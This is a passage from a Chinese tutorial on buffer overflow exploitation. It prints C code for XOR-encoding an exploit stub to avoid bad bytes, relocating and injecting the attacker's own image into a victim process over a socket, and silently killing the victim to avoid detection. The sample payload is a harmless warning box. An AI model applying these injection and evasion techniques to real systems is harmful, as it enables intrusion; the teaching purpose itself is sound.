缓冲区溢出攻防
2010-02-19 20:33:10 来源:WEB开发网其中,pStub指向一块事先分配的内存区,其大小是计算好的,绝对不会超支(我们是干这行的,肯定得先把自身的问题解决好:));g_stub是一个STUB类型的全局变量,保存了stub中固定不变的数据;g_hInst是attacker的进程的句柄,以它为参数调用GetImageSize就能得到attacker的内存映像的大小;g_arrDisallow是一个字符数组,里面是所有不允许出现的字符。
GetXorMask用于计算对stubparam和stubcode进行异或处理的掩码,代码如下:
BYTE GetXorMask(LPCBYTE pData, int nSize, LPCBYTE arrDisallow, int nCount)
{
BYTE arrUsage[256], by = 0;
memset(arrUsage, 0, sizeof(arrUsage));
for(int i=0; i<nSize; i++)
arrUsage[*(pData + i)] = 1;
for(i=0; i<256; i++)
{
by = (BYTE)i;
//xor mask can not be a disallowed char
for(int j=0; j<nCount; j++)
if(arrDisallow[j] == by)
break;
if(j < nCount)
continue;
//after xor, the data should not contain a disallowed char
for(j=0; j<nCount; j++)
if(arrUsage[arrDisallow[j] ^ by] == 1)
break;
if(j >= nCount)
return by;
}
//we don''t find it, return the first disallowed char for an error
return arrDisallow[0];
}
异或处理完毕后,PrepareStub要根据动态计算出来的数据,修改stubstubcode。由于数据是动态算出来的,所以需要对最终的stubstubcode做一个检查,看里面有没有不允许的字符。最后,它用g_szStubTail把stub填充为一个完整地UNC字符串,整个stub的准备工作宣告完成。
前面已经说过,stubcode的任务是在victim中建立一个attacker的映像,然后把控制权交给它里边的AttackerEntry函数。因而attacker的第二步工作是把自身的一个拷贝重定位后,发给stubcode。下面的代码就来完成这些任务:
…
DWORD dwNewBase, dwSize;
LPBYTE pImage;
recv(sck, (char*)(&dwNewBase), sizeof(DWORD), 0);
dwSize = GetImageSize((LPCBYTE)g_hInst);
pImage = (LPBYTE)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
memcpy(pImage, (const void*)g_hInst, dwSize);
RelocImage(pImage, (DWORD)g_hInst, dwNewBase);
DoInject(sck, pImage, dwSize);
…
attacker先从stubcode中获得它分配的内存的起始地址,这个地址就是attacker在victim中的映像基址。然后attacker把自身复制一份,并按照新的映像基址对这个拷贝进行重定位,RelocImage的代码与《进程隐藏》中的基本相同,这里不再重复。但要注意:默认情况下,链接器不会为EXE文件生成重定位表。所以链接attacker时,要加上参数“/FIXED:No”,强制链接器生成重定位表。DoInject完成数据发送,也是简单的网络通讯,所以略过不讲。
在victim中,控制权最终会传递到下面这个函数的手中。
void WINAPI AttackerEntry(LPBYTE pImage, FxLoadLibrary fnLoadLibrary,FxGetProcAddr fnGetProcAddr)
{
g_hInst = (HINSTANCE)pImage;
if(LoadImportFx(pImage, fnLoadLibrary, fnGetProcAddr))
AttackerMain(g_hInst);
ExitProcess(0);
}
它同《进程隐藏》里的ThreadEntry很像,最大的不同是最后调用ExitProcess结束了victim的生命。这很好理解,victim的栈经过一系列的攻击之后,已经面目全非了,如果让AttackerEntry正常返回,victim肯定会弹出一个提示出现非法操作的对话框。我们在做“坏事”,不希望被发现,所以让victim悄无声息的退出无疑是最佳选择。
LoadImportFx和《进程隐藏》中的完全一致,也不再重复。至于AttackerMain,我的是下面的样子。你的——自己去发挥吧,但请切记你要为你所作的一切负责!
DWORD WINAPI AttackerMain(HINSTANCE hInst)
{
TCHAR szName[64], szMsg[128];
GetModuleFileName(NULL, szName, sizeof(szName)/sizeof(TCHAR));
_stprintf(szMsg, _T("进程\"%s\"存在缓冲区溢出漏洞,赶紧打补丁吧!"), szName);
MessageBox(NULL, szMsg, _T("哈哈"), MB_OK|MB_ICONINFORMATION);
return 0;
}
更多精彩
赞助商链接